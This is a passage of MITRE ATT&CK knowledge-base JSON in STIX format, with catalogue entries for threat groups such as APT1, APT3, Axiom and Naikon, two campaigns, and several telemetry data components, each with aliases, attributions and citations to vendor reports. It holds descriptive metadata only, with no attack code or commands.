throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of [QakBot](https://attack.mitre.org/software/S0650), with several technical overlaps and similarities with [QakBot](https://attack.mitre.org/software/S0650), indicating a possible connection. The identified activity led to the deployment of tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154), while coinciding with campaigns delivering [DarkGate](https://attack.mitre.org/software/S1111) and [IcedID](https://attack.mitre.org/software/S0483) en route to ransomware deployment.(Citation: TrendMicro Pikabot 2024)","aliases":["Water Curupira Pikabot Distribution"],"first_seen":"2023-01-01T05:00:00.000Z","last_seen":"2023-12-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: TrendMicro Pikabot 2024)","x_mitre_last_seen_citation":"(Citation: TrendMicro Pikabot 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Inna Danilevich, U.S. Bank"],"type":"campaign","id":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","created":"2024-07-17T20:23:22.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0037","external_id":"C0037"},{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"User Account Metadata","description":"Contextual data about an account, which may include a username, user ID, environmental data, etc.","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-20T22:03:44.661Z","name":"Axiom","description":"[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)","aliases":["Axiom","Group 72"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","type":"intrusion-set","id":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","created":"2017-05-31T21:31:45.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0001","external_id":"G0001"},{"source_name":"Group 72","description":"(Citation: Cisco Group 72)"},{"source_name":"Axiom","description":"(Citation: Novetta-Axiom)"},{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Kaspersky Winnti April 2013","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","url":"https://securelist.com/winnti-more-than-just-a-game/37029/"},{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"Kaspersky Winnti June 2015","description":"Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.","url":"https://securelist.com/games-are-over/70991/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:42:07.325Z","name":"Dark Caracal","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)","aliases":["Dark Caracal"],"x_mitre_deprecated":false,"x_mitre_version":"1.4","type":"intrusion-set","id":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0070","external_id":"G0070"},{"source_name":"Dark Caracal","description":"(Citation: Lookout Dark Caracal Jan 2018)"},{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-02T18:03:55.294Z","name":"Nomadic Octopus","description":"\n[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","aliases":["Nomadic Octopus","DustSquad"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","created":"2021-08-24T17:04:27.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0133","external_id":"G0133"},{"source_name":"DustSquad","description":"(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: SecurityWeek Nomadic Octopus Oct 2018)"},{"source_name":"Nomadic Octopus","description":"(Citation: SecurityWeek Nomadic Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)"},{"source_name":"ESET Nomadic Octopus 2018","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf"},{"source_name":"Securelist Octopus Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/"},{"source_name":"SecurityWeek Nomadic Octopus Oct 2018","description":"Kovacs, E. (2018, October 18). Russia-Linked Hackers Target Diplomatic Entities in Central Asia. Retrieved October 13, 2021.","url":"https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia"},{"source_name":"Security Affairs DustSquad Oct 2018","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT12","IXESHE","DynCalc","Numbered Panda","DNSCALC"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","type":"intrusion-set","created":"2017-05-31T21:31:47.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0005","external_id":"G0005"},{"source_name":"APT12","description":"(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"},{"source_name":"IXESHE","description":"(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"},{"source_name":"DynCalc","description":"(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"},{"source_name":"Numbered Panda","description":"(Citation: Meyers Numbered Panda)"},{"source_name":"DNSCALC","description":"(Citation: Moran 2014)"},{"source_name":"Meyers Numbered Panda","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","url":"http://www.crowdstrike.com/blog/whois-numbered-panda/"},{"source_name":"Moran 2014","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"}],"modified":"2020-03-30T18:44:59.268Z","name":"APT12","description":"[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T16:18:53.978Z","name":"APT3","description":"[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)","aliases":["APT3","Gothic Panda","Pirpi","UPS Team","Buckeye","Threat Group-0110","TG-0110"],"x_mitre_deprecated":false,"x_mitre_version":"1.4","x_mitre_contributors":["Patrick Sungbahadoor"],"type":"intrusion-set","id":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","created":"2017-05-31T21:31:55.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0022","external_id":"G0022"},{"source_name":"APT3","description":"(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"UPS Team","description":"(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Pirpi","description":"(Citation: PWC Pirpi Scanbox)"},{"source_name":"Gothic Panda","description":"(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Threat Group-0110","description":"(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"TG-0110","description":"(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"},{"source_name":"Buckeye","description":"(Citation: Symantec Buckeye)"},{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"Recorded Future APT3 May 2017","description":"Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/chinese-mss-behind-apt3"},{"source_name":"PWC Pirpi Scanbox","description":"Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.","url":"http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html"},{"source_name":"FireEye Operation Double Tap","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"},{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:24:27.983Z","name":"Putter Panda","description":"[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)","aliases":["Putter Panda","APT2","MSUpdater"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","type":"intrusion-set","id":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","created":"2017-05-31T21:31:56.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0024","external_id":"G0024"},{"source_name":"MSUpdater","description":"(Citation: CrowdStrike Putter Panda)"},{"source_name":"Putter Panda","description":"(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)"},{"source_name":"APT2","description":"(Citation: Cylance Putter Panda)"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"},{"source_name":"Cylance Putter Panda","description":"Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.","url":"http://blog.cylance.com/puttering-into-the-future"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:46:59.526Z","name":"Metador","description":"[Metador](https://attack.mitre.org/groups/G1013) is a suspected cyber espionage group that was first reported in September 2022. [Metador](https://attack.mitre.org/groups/G1013) has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group [Metador](https://attack.mitre.org/groups/G1013) based on the \"I am meta\" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers.(Citation: SentinelLabs Metador Sept 2022)","aliases":["Metador"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Massimiliano Romano, BT Security","Sittikorn Sangrattanapitak"],"type":"intrusion-set","id":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","created":"2023-01-25T23:57:51.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1013","external_id":"G1013"},{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Firmware Modification","description":"Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)","x_mitre_data_source_ref":"x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TA459"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0062","external_id":"G0062"},{"source_name":"TA459","description":"(Citation: Proofpoint TA459 April 2017)"},{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2020-03-30T19:22:32.962Z","name":"TA459","description":"[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Snapshot Deletion","description":"Removal of a snapshot (ex: AWS delete-snapshot)","x_mitre_data_source_ref":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-15T21:10:00.969Z","name":"C0032","description":"[C0032](https://attack.mitre.org/campaigns/C0032) was an extended campaign suspected to involve the [Triton](https://attack.mitre.org/software/S1009) adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030).(Citation: FireEye TRITON 2019)","aliases":["C0032"],"first_seen":"2014-10-01T04:00:00.000Z","last_seen":"2017-01-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: FireEye TRITON 2019)","x_mitre_last_seen_citation":"(Citation: FireEye TRITON 2019)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","created":"2024-03-28T15:22:19.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0032","external_id":"C0032"},{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-10-10T14:32:51.085Z","name":"ZIRCONIUM","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)","aliases":["ZIRCONIUM","APT31","Violet Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"2.1","type":"intrusion-set","id":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","created":"2021-03-24T15:48:17.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0128","external_id":"G0128"},{"source_name":"APT31","description":"(Citation: Check Point APT31 February 2021)"},{"source_name":"Violet Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Microsoft Targeting Elections September 2020","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/"},{"source_name":"Check Point APT31 February 2021","description":"Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.","url":"https://research.checkpoint.com/2021/the-story-of-jian/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT1","Comment Crew","Comment Group","Comment Panda"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","type":"intrusion-set","created":"2017-05-31T21:31:47.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0006","external_id":"G0006"},{"source_name":"APT1","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Crew","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Group","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Panda","description":"(Citation: CrowdStrike Putter Panda)"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2021-05-26T12:23:48.842Z","name":"APT1","description":"[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Process Termination","description":"Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Naikon"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","type":"intrusion-set","created":"2017-05-31T21:31:54.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0019","url":"https://attack.mitre.org/groups/G0019","source_name":"mitre-attack"},{"source_name":"Naikon","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)(Citation: Baumgartner Golovkin Naikon 2015)"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"},{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"url":"https://securelist.com/the-naikon-apt/69953/","description":"Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.","source_name":"Baumgartner Golovkin Naikon 2015"}],"modified":"2021-08-19T18:23:23.507Z","name":"Naikon","description":"[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \n\nWhile [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-29T21:28:39.974Z","name":"Dust Storm","description":"[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)","aliases":["Dust Storm"],"x_mitre_deprecated":true,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31","created":"2017-05-31T21:32:03.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0031","external_id":"G0031"},{"source_name":"Dust Storm","description":"(Citation: Cylance Dust Storm)"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Sowbug"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alan Neville, 